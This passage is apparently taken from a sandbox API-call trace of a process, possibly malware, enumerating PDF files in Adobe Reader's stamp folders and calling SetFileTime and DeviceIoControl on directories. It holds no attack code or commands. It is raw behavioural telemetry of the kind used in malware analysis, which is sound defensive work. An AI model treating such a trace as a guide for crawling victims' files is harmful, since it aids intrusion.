ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb7c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0083.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12150e0 [0083.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4338 [0083.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.025] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1182b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215100 [0083.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4440 [0083.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.027] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x322cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215120 [0083.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4548 [0083.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.029] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x322cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.029] GetLastError () returned 0x12 [0083.029] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.029] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.029] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.029] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x132cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.029] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb7c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0083.029] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1182b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.029] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x322cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.029] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x322cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.029] GetLastError () returned 0x12 [0083.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.029] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.030] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1 [0083.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.030] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.031] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.032] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.032] NtClose (Handle=0x180) returned 0x0 [0083.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.033] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.035] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.035] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215140 [0083.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4650 [0083.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.037] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215160 [0083.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4758 [0083.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.038] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb7dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215180 [0083.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4860 [0083.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.040] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5274b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12151a0 [0083.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4968 [0083.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.042] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c339, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12151c0 [0083.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4a70 [0083.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x73c0) returned 0x12c9780 [0083.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12c23f8) returned 1 [0083.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.044] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15c7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12151e0 [0083.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a4b78 [0083.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.045] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15c7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.045] GetLastError () returned 0x12 [0083.045] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.046] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.046] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.046] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.046] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.046] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb7dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.046] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5274b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.046] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c339, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.046] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15c7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.046] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15c7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.046] GetLastError () returned 0x12 [0083.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.046] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 